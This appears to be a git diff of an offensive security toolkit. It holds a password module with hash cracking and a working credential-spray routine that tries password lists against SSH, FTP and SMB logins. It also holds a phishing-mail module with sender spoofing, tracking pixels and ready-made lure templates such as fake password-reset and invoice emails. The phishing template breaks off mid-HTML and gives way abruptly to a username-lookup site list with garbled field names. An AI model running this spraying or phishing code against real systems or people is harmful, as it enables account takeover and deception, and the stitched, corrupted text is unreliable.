hashlib.new(algo, word.encode('utf-8')).hexdigest() + tried += 1 + if h == hash_lower: + return { + 'ok': True, + 'cracked': f'{hash_str}:{word}', + 'plaintext': word, + 'tried': tried, + 'message': f'Cracked! Password: {word}', + } + if tried >= 10_000_000: + break + except Exception as e: + return {'ok': False, 'error': str(e)} + + return {'ok': True, 'cracked': '', 'tried': tried, + 'message': f'Not cracked. Tried {tried:,} candidates.'} + + def get_crack_status(self, job_id: str) -> dict: + """Check status of a cracking job.""" + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + if not holder['done']: + return {'ok': True, 'done': False, 'message': 'Cracking in progress...'} + self._active_jobs.pop(job_id, None) + return {'ok': True, 'done': True, **holder['result']} + + # ── Password Generation ─────────────────────────────────────────────── + + def generate_password(self, length: int = 16, count: int = 1, + uppercase: bool = True, lowercase: bool = True, + digits: bool = True, symbols: bool = True, + exclude_chars: str = '', + pattern: str = '') -> List[str]: + """Generate secure random passwords.""" + if pattern: + return [self._generate_from_pattern(pattern) for _ in range(count)] + + charset = '' + if uppercase: + charset += string.ascii_uppercase + if lowercase: + charset += string.ascii_lowercase + if digits: + charset += string.digits + if symbols: + charset += '!@#$%^&*()-_=+[]{}|;:,.<>?' + if exclude_chars: + charset = ''.join(c for c in charset if c not in exclude_chars) + if not charset: + charset = string.ascii_letters + string.digits + + length = max(4, min(length, 128)) + count = max(1, min(count, 100)) + + passwords = [] + for _ in range(count): + pw = ''.join(secrets.choice(charset) for _ in range(length)) + passwords.append(pw) + return passwords + + def _generate_from_pattern(self, pattern: str) -> str: + """Generate password from pattern. + ?u = uppercase, ?l = lowercase, ?d = digit, ?s = symbol, ?a = any + """ + result = [] + i = 0 + while i < len(pattern): + if pattern[i] == '?' and i + 1 < len(pattern): + c = pattern[i + 1] + if c == 'u': + result.append(secrets.choice(string.ascii_uppercase)) + elif c == 'l': + result.append(secrets.choice(string.ascii_lowercase)) + elif c == 'd': + result.append(secrets.choice(string.digits)) + elif c == 's': + result.append(secrets.choice('!@#$%^&*()-_=+')) + elif c == 'a': + result.append(secrets.choice( + string.ascii_letters + string.digits + '!@#$%^&*')) + else: + result.append(pattern[i:i+2]) + i += 2 + else: + result.append(pattern[i]) + i += 1 + return ''.join(result) + + # ── Password Policy Audit ───────────────────────────────────────────── + + def audit_password(self, password: str) -> dict: + """Audit a password against common policies and calculate entropy.""" + import math + checks = { + 'length_8': len(password) >= 8, + 'length_12': len(password) >= 12, + 'length_16': len(password) >= 16, + 'has_uppercase': bool(re.search(r'[A-Z]', password)), + 'has_lowercase': bool(re.search(r'[a-z]', password)), + 'has_digit': bool(re.search(r'[0-9]', password)), + 'has_symbol': bool(re.search(r'[^A-Za-z0-9]', password)), + 'no_common_patterns': not self._has_common_patterns(password), + 'no_sequential': not self._has_sequential(password), + 'no_repeated': not self._has_repeated(password), + } + + # Calculate entropy + charset_size = 0 + if re.search(r'[a-z]', password): + charset_size += 26 + if re.search(r'[A-Z]', password): + charset_size += 26 + if re.search(r'[0-9]', password): + charset_size += 10 + if re.search(r'[^A-Za-z0-9]', password): + charset_size += 32 + entropy = len(password) * math.log2(charset_size) if charset_size > 0 else 0 + + # Strength rating + if entropy >= 80 and all(checks.values()): + strength = 'very_strong' + elif entropy >= 60 and checks['length_12']: + strength = 'strong' + elif entropy >= 40 and checks['length_8']: + strength = 'medium' + elif entropy >= 28: + strength = 'weak' + else: + strength = 'very_weak' + + return { + 'length': len(password), + 'entropy': round(entropy, 1), + 'strength': strength, + 'checks': checks, + 'charset_size': charset_size, + } + + def _has_common_patterns(self, pw: str) -> bool: + common = ['password', '123456', 'qwerty', 'abc123', 'letmein', + 'admin', 'welcome', 'monkey', 'dragon', 'master', + 'login', 'princess', 'football', 'shadow', 'sunshine', + 'trustno1', 'iloveyou', 'batman', 'access', 'hello'] + pl = pw.lower() + return any(c in pl for c in common) + + def _has_sequential(self, pw: str) -> bool: + for i in range(len(pw) - 2): + if (ord(pw[i]) + 1 == ord(pw[i+1]) == ord(pw[i+2]) - 1): + return True + return False + + def _has_repeated(self, pw: str) -> bool: + for i in range(len(pw) - 2): + if pw[i] == pw[i+1] == pw[i+2]: + return True + return False + + # ── Credential Spray / Stuff ────────────────────────────────────────── + + def credential_spray(self, targets: List[dict], passwords: List[str], + protocol: str = 'ssh', threads: int = 4, + delay: float = 1.0) -> dict: + """Spray passwords against target services. + + targets: [{'host': '...', 'port': 22, 'username': 'admin'}, ...] + protocol: 'ssh', 'ftp', 'smb', 'http_basic', 'http_form' + """ + if not targets or not passwords: + return {'ok': False, 'error': 'Targets and passwords required'} + + job_id = f'spray_{int(time.time())}_{secrets.token_hex(4)}' + result_holder = { + 'done': False, + 'results': [], + 'total': len(targets) * len(passwords), + 'tested': 0, + 'found': [], + } + self._active_jobs[job_id] = result_holder + + def do_spray(): + import socket as sock_mod + for target in targets: + host = target.get('host', '') + port = target.get('port', 0) + username = target.get('username', '') + for pw in passwords: + if protocol == 'ssh': + ok = self._test_ssh(host, port or 22, username, pw) + elif protocol == 'ftp': + ok = self._test_ftp(host, port or 21, username, pw) + elif protocol == 'smb': + ok = self._test_smb(host, port or 445, username, pw) + else: + ok = False + + result_holder['tested'] += 1 + if ok: + cred = {'host': host, 'port': port, 'username': username, + 'password': pw, 'protocol': protocol} + result_holder['found'].append(cred) + + time.sleep(delay) + result_holder['done'] = True + + threading.Thread(target=do_spray, daemon=True).start() + return {'ok': True, 'job_id': job_id, + 'message': f'Spray started: {len(targets)} targets × {len(passwords)} passwords'} + + def _test_ssh(self, host: str, port: int, user: str, pw: str) -> bool: + try: + import paramiko + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect(host, port=port, username=user, password=pw, + timeout=5, look_for_keys=False, allow_agent=False) + client.close() + return True + except Exception: + return False + + def _test_ftp(self, host: str, port: int, user: str, pw: str) -> bool: + try: + import ftplib + ftp = ftplib.FTP() + ftp.connect(host, port, timeout=5) + ftp.login(user, pw) + ftp.quit() + return True + except Exception: + return False + + def _test_smb(self, host: str, port: int, user: str, pw: str) -> bool: + try: + from impacket.smbconnection import SMBConnection + conn = SMBConnection(host, host, sess_port=port) + conn.login(user, pw) + conn.close() + return True + except Exception: + return False + + def get_spray_status(self, job_id: str) -> dict: + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + return { + 'ok': True, + 'done': holder['done'], + 'tested': holder['tested'], + 'total': holder['total'], + 'found': holder['found'], + } + + # ── Wordlist Management ─────────────────────────────────────────────── + + def list_wordlists(self) -> List[dict]: + """List available wordlists.""" + results = [] + for f in Path(self._wordlists_dir).glob('*'): + if f.is_file(): + size = f.stat().st_size + line_count = 0 + try: + with open(f, 'r', encoding='utf-8', errors='ignore') as fh: + for _ in fh: + line_count += 1 + if line_count > 10_000_000: + break + except Exception: + pass + results.append({ + 'name': f.name, + 'path': str(f), + 'size': size, + 'size_human': self._human_size(size), + 'lines': line_count, + }) + # Also check common system locations + system_lists = [ + '/usr/share/wordlists/rockyou.txt', + '/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt', + '/usr/share/wordlists/fasttrack.txt', + ] + for path in system_lists: + if os.path.exists(path) and not any(r['path'] == path for r in results): + size = os.path.getsize(path) + results.append({ + 'name': os.path.basename(path), + 'path': path, + 'size': size, + 'size_human': self._human_size(size), + 'lines': -1, # Don't count for system lists + 'system': True, + }) + return results + + def _find_default_wordlist(self) -> str: + """Find the best available wordlist.""" + # Check our wordlists dir first + for f in Path(self._wordlists_dir).glob('*'): + if f.is_file() and f.stat().st_size > 100: + return str(f) + # System locations + candidates = [ + '/usr/share/wordlists/rockyou.txt', + '/usr/share/wordlists/fasttrack.txt', + '/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt', + ] + for c in candidates: + if os.path.exists(c): + return c + return '' + + def upload_wordlist(self, filename: str, data: bytes) -> dict: + """Save an uploaded wordlist.""" + safe_name = re.sub(r'[^a-zA-Z0-9._-]', '_', filename) + path = os.path.join(self._wordlists_dir, safe_name) + with open(path, 'wb') as f: + f.write(data) + return {'ok': True, 'path': path, 'name': safe_name} + + def delete_wordlist(self, name: str) -> dict: + path = os.path.join(self._wordlists_dir, name) + if os.path.exists(path): + os.remove(path) + return {'ok': True} + return {'ok': False, 'error': 'Wordlist not found'} + + # ── Hash Generation (for testing) ───────────────────────────────────── + + def hash_string(self, plaintext: str, algorithm: str = 'md5') -> dict: + """Hash a string with a given algorithm.""" + algo_map = { + 'md5': hashlib.md5, + 'sha1': hashlib.sha1, + 'sha224': hashlib.sha224, + 'sha256': hashlib.sha256, + 'sha384': hashlib.sha384, + 'sha512': hashlib.sha512, + } + fn = algo_map.get(algorithm.lower()) + if not fn: + return {'ok': False, 'error': f'Unsupported algorithm: {algorithm}'} + h = fn(plaintext.encode('utf-8')).hexdigest() + return {'ok': True, 'hash': h, 'algorithm': algorithm, 'plaintext': plaintext} + + # ── Tool Detection ──────────────────────────────────────────────────── + + def get_tools_status(self) -> dict: + """Check which cracking tools are available.""" + return { + 'hashcat': bool(find_tool('hashcat')), + 'john': bool(find_tool('john')), + 'hydra': bool(find_tool('hydra')), + 'ncrack': bool(find_tool('ncrack')), + } + + @staticmethod + def _human_size(size: int) -> str: + for unit in ('B', 'KB', 'MB', 'GB'): + if size < 1024: + return f'{size:.1f} {unit}' + size /= 1024 + return f'{size:.1f} TB' + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_password_toolkit() -> PasswordToolkit: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = PasswordToolkit() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Password Toolkit.""" + svc = get_password_toolkit() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ PASSWORD TOOLKIT ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Identify Hash ║") + print("║ 2 — Crack Hash ║") + print("║ 3 — Generate Passwords ║") + print("║ 4 — Audit Password Strength ║") + print("║ 5 — Hash a String ║") + print("║ 6 — Wordlist Management ║") + print("║ 7 — Tool Status ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + h = input(" Hash: ").strip() + if not h: + continue + results = svc.identify_hash(h) + if results: + print(f"\n Possible types ({len(results)}):") + for r in results: + print(f" [{r['confidence'].upper():6s}] {r['name']}" + f" (hashcat: {r['hashcat_mode']}, john: {r['john_format']})") + else: + print(" No matching hash types found.") + elif choice == '2': + h = input(" Hash: ").strip() + wl = input(" Wordlist (empty=default): ").strip() + result = svc.crack_hash(h, wordlist=wl) + if result.get('job_id'): + print(f" {result['message']}") + print(" Waiting...") + while True: + time.sleep(2) + s = svc.get_crack_status(result['job_id']) + if s.get('done'): + if s.get('cracked'): + print(f"\n CRACKED: {s['cracked']}") + else: + print(f"\n Not cracked. {s.get('message', '')}") + break + elif result.get('cracked'): + print(f"\n CRACKED: {result['cracked']}") + else: + print(f" {result.get('message', result.get('error', ''))}") + elif choice == '3': + length = int(input(" Length (default 16): ").strip() or '16') + count = int(input(" Count (default 5): ").strip() or '5') + passwords = svc.generate_password(length=length, count=count) + print("\n Generated passwords:") + for pw in passwords: + audit = svc.audit_password(pw) + print(f" {pw} [{audit['strength']}] {audit['entropy']} bits") + elif choice == '4': + pw = input(" Password: ").strip() + if not pw: + continue + audit = svc.audit_password(pw) + print(f"\n Strength: {audit['strength']}") + print(f" Entropy: {audit['entropy']} bits") + print(f" Length: {audit['length']}") + print(f" Charset: {audit['charset_size']} characters") + for check, passed in audit['checks'].items(): + mark = '\033[92m✓\033[0m' if passed else '\033[91m✗\033[0m' + print(f" {mark} {check}") + elif choice == '5': + text = input(" Plaintext: ").strip() + algo = input(" Algorithm (md5/sha1/sha256/sha512): ").strip() or 'sha256' + r = svc.hash_string(text, algo) + if r['ok']: + print(f" {r['algorithm']}: {r['hash']}") + else: + print(f" Error: {r['error']}") + elif choice == '6': + wls = svc.list_wordlists() + if wls: + print(f"\n Wordlists ({len(wls)}):") + for w in wls: + sys_tag = ' [system]' if w.get('system') else '' + print(f" {w['name']} — {w['size_human']}{sys_tag}") + else: + print(" No wordlists found.") + elif choice == '7': + tools = svc.get_tools_status() + print("\n Tool Status:") + for tool, available in tools.items(): + mark = '\033[92m✓\033[0m' if available else '\033[91m✗\033[0m' + print(f" {mark} {tool}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/phishmail.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/phishmail.py new file mode 100644 index 0000000..9e9254f --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/phishmail.py @@ -0,0 +1,1489 @@ +"""Gone Fishing Mail Service — Local network phishing simulator. + +Combines features from GoPhish, King Phisher, SET, and Swaks: +sender spoofing, self-signed TLS certs, HTML templates, tracking pixels, +campaign management, attachment support. + +Hard-wired to reject delivery to non-RFC1918 addresses. +""" + +DESCRIPTION = "Gone Fishing Mail Service — local network phishing simulator" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import json +import time +import uuid +import socket +import smtplib +import threading +import subprocess +import ipaddress +from pathlib import Path +from datetime import datetime +from email import encoders +from email.mime.base import MIMEBase +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── RFC1918 networks for local-only enforcement ───────────────────────────── +_LOCAL_NETS = [ + ipaddress.ip_network('10.0.0.0/8'), + ipaddress.ip_network('172.16.0.0/12'), + ipaddress.ip_network('192.168.0.0/16'), + ipaddress.ip_network('127.0.0.0/8'), + ipaddress.ip_network('::1/128'), + ipaddress.ip_network('fe80::/10'), +] + + +def _is_local_ip(ip_str: str) -> bool: + """Check if an IP address is in RFC1918/loopback range.""" + try: + addr = ipaddress.ip_address(ip_str) + return any(addr in net for net in _LOCAL_NETS) + except ValueError: + return False + + +def _validate_local_only(address: str) -> tuple: + """Validate that a recipient's mail server resolves to a local IP. + + Returns (ok: bool, message: str). + """ + # Extract domain from email + if '@' not in address: + # Treat as hostname/IP directly + domain = address + else: + domain = address.split('@')[1] + + # Direct IP check + try: + addr = ipaddress.ip_address(domain) + if _is_local_ip(str(addr)): + return True, f"Direct IP {domain} is local" + return False, f"BLOCKED: {domain} is not a local network address" + except ValueError: + pass + + # DNS resolution + try: + results = socket.getaddrinfo(domain, 25, socket.AF_UNSPEC, socket.SOCK_STREAM) + for family, stype, proto, canonname, sockaddr in results: + ip = sockaddr[0] + if _is_local_ip(ip): + return True, f"{domain} resolves to local IP {ip}" + # Try MX records via simple DNS + ips_found = [sockaddr[0] for _, _, _, _, sockaddr in results] + return False, f"BLOCKED: {domain} resolves to external IPs: {', '.join(ips_found)}" + except socket.gaierror: + return False, f"BLOCKED: Cannot resolve {domain}" + + +# ── Template Manager ───────────────────────────────────────────────────────── + +_BUILTIN_TEMPLATES = { + "Password Reset": { + "subject": "Action Required: Password Reset", + "html": """
+
+

Security Alert

+
+

Dear {{name}},

+

We detected unusual activity on your account ({{email}}). For your security, please reset your password immediately.

+

Reset Password Now

+

If you did not request this, please ignore this email. This link expires in 24 hours.

+

— IT Security Team

+
{{tracking_pixel}}
""", + "text": "Dear {{name}},\n\nWe detected unusual activity on your account ({{email}}). Please reset your password: {{link}}\n\n— IT Security Team", + }, + "Invoice Attached": { + "subject": "Invoice #{{invoice_num}} — Payment Due", + "html": """
+
+

Invoice Notification

+
+

Hi {{name}},

+

Please find attached invoice #{{invoice_num}} for the amount of {{amount}}.

+

Payment is due by {{date}}. Please review the attached document and process the payment at your earliest convenience.

+

If you have any questions, reply to this email.

+

Best regards,
Accounts Department
{{company}}

+
{{tracking_pixel}}
""", + "text": "Hi {{name}},\n\nPlease find attached invoice #{{invoice_num}} for {{amount}}.\nPayment due: {{date}}\n\nBest regards,\nAccounts Department\n{{company}}", + }, + "Shared Document": { + "subject": "{{sender_name}} shared a document with you", + "html": """
+
+
📄
+

{{sender_name}} shared a file with you

+
+
+

{{sender_name}} ({{sender_email}}) has shared the following document:

+

{{document_name}}

+

Open Document

+

This sharing link will expire on {{date}}

+
{{tracking_pixel}}
""", + "text": "{{sender_name}} shared a document with you.\n\nDocument: {{document_name}}\nOpen: {{link}}\n\nExpires: {{date}}", + }, + "Security Alert": { + "subject": "Urgent: Suspicious Login Detected", + "html": """
+
+

⚠ Security Alert

+
+

Dear {{name}},

+

We detected a login to your account from an unrecognized device:

+
403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mradchenko-ezo.ucoz.ru/index/8-0-{}", + "urlMain": "https://mradchenko-ezo.ucoz.ru", + "usernameON": "Telejaw", + "bad_site": "" + }, + "Forum_msa-iptv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Користувача не знайдено", + "errorTyp��": "message", + "url": "http://msa-iptv.net/index/8-0-{}", + "urlMain": "http://msa-iptv.net", + "usernameON": "grigorili", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_msextra": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search at this time", + "errorTyp��": "message", + "url": "https://www.msextra.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.msextra.com", + "usernameON": "Laminar", + "bad_site": "" + }, + "Forum_msfn": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://msfn.org/board/search/?q={}&quick=1&type=core_members", + "urlMain": "https://msfn.org", + "usernameON": "lmacri", + "bad_site": "" + }, + "Forum_msiu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://msiwind.ucoz.net/index/8-0-{}", + "urlMain": "https://msiwind.ucoz.net", + "usernameON": "TimurR", + "bad_site": "" + }, + "Forum_mskwa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://mskwa.foroesp.com/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://mskwa.foroesp.com", + "usernameON": "tony", + "bad_site": "" + }, + "Forum_mssuao": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mssuao.my1.ru/index/8-0-{}", + "urlMain": "https://mssuao.my1.ru/", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_mt5": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Forex Forum | Forex Trading Forums | MT5 Forum", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forum.mt5.com/member.php?username={}", + "urlMain": "https://forum.mt5.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Forum_mta-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mta-info.ru/index/8-0-{}", + "urlMain": "https://mta-info.ru", + "usernameON": "Online", + "bad_site": "" + }, + "Forum_mtbr": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mtbr.com/members/?username={}", + "urlMain": "https://www.mtbr.com", + "usernameON": "aargar", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_mucs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mucs.ucoz.ru/index/8-0-{}", + "urlMain": "https://mucs.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_muffingroup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.muffingroup.com/betheme/profile/{}", + "urlMain": "https://forum.muffingroup.com", + "usernameON": "charlie27", + "bad_site": "" + }, + "Forum_muppet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://muppet.fandom.com/wiki/User:{}", + "urlMain": "https://muppet.fandom.com", + "usernameON": "Reidtaub", + "bad_site": "" + }, + "Forum_musclemecca": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://musclemecca.com/members/?username={}", + "urlMain": "https://musclemecca.com", + "usernameON": "tkd", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_musflat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://musflat.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://musflat.kamrbb.ru", + "usernameON": "555serg2005", + "bad_site": "" + }, + "Forum_musik3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://musik3.ucoz.ru/index/8-0-{}", + "urlMain": "http://musik3.ucoz.ru/", + "usernameON": "Futbolki", + "bad_site": "" + }, + "Forum_muz-tv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://muz-tv-forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://muz-tv-forum.ucoz.ru", + "usernameON": "nadinvorobei", + "bad_site": "" + }, + "Forum_muzcom": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzcom.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzcom.kamrbb.ru", + "usernameON": "%CA%EE%ED%F0%E0%E4", + "bad_site": "" + }, + "Forum_muzlar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://muzlar.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://muzlar.kamrbb.ru", + "usernameON": "%F8%F3%EC%E8%EB%E8%ED", + "bad_site": "" + }, + "Forum_mxlinux": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.mxlinux.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.mxlinux.org", + "usernameON": "Stevo", + "bad_site": "" + }, + "Forum_mya": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.mya-uk.org.uk/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.mya-uk.org.uk", + "usernameON": "downbytheriver", + "bad_site": "" + }, + "Forum_myaudiq5": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myaudiq5.com/members/?username={}", + "urlMain": "https://www.myaudiq5.com", + "usernameON": "sargeq5", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mybb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.mybb.ru/search.php?action=search&keywords=&author={}", + "urlMain": "https://forum.mybb.ru", + "usernameON": "Deff", + "bad_site": "" + }, + "Forum_mybeautyconsultant": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mybeautyconsultant.net/forum/members/?username={}", + "urlMain": "https://mybeautyconsultant.net", + "usernameON": "blackcoffee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Mybirds": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, ", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.mybirds.ru/forums/search/?&q={}&type&quick=1&search_and_or=or&sortby=relevancy", + "urlMain": "https://www.mybirds.ru/", + "usernameON": "Tanban", + "bad_site": "" + }, + "Forum_mycity-military": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "tim imenom ne postoji ", + "errorMsg2": "MyCity Military", + "errorTyp��": "message", + "url": "https://www.mycity-military.com/Korisnik/{}/", + "urlMain": "https://www.mycity-military.com", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_mycoffee": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mycoffee.ucoz.ru/index/8-0-{}", + "urlMain": "https://mycoffee.ucoz.ru", + "usernameON": "Азазелло", + "bad_site": "" + }, + "Forum_mycoweb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://myfc.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfc.ucoz.ru", + "usernameON": "jag", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_myfriendsclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myfriendsclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfriendsclub.ucoz.ru", + "usernameON": "crasnovp1t", + "bad_site": "" + }, + "Forum_myfxbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.myfxbook.com/members/{}", + "urlMain": "https://www.myfxbook.com", + "usernameON": "esmumuex", + "bad_site": "" + }, + "Forum_mygolfspy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.mygolfspy.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.mygolfspy.com", + "usernameON": "bmdubya", + "bad_site": "" + }, + "Forum_myimmortal": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myimmortal.forum24.ru/?32-{}", + "urlMain": "https://myimmortal.forum24.ru", + "usernameON": "de3fmjhhfq", + "bad_site": "" + }, + "Forum_Myjane": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title> - Женские форумы myJane", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.myjane.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_mymbonline": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mymbonline.com/members/?username={}", + "urlMain": "https://www.mymbonline.com", + "usernameON": "odehboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mymoscow": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://myslonim.by/index/8-0-{}", + "urlMain": "http://myslonim.by", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_myst": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myst.ucoz.com/index/8-0-{}", + "urlMain": "https://myst.ucoz.com", + "usernameON": "vetal99977", + "bad_site": "" + }, + "Forum_mystic-school": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.mystic-school.ru/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "ivan", + "bad_site": "" + }, + "Forum_mysticalgarland": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": 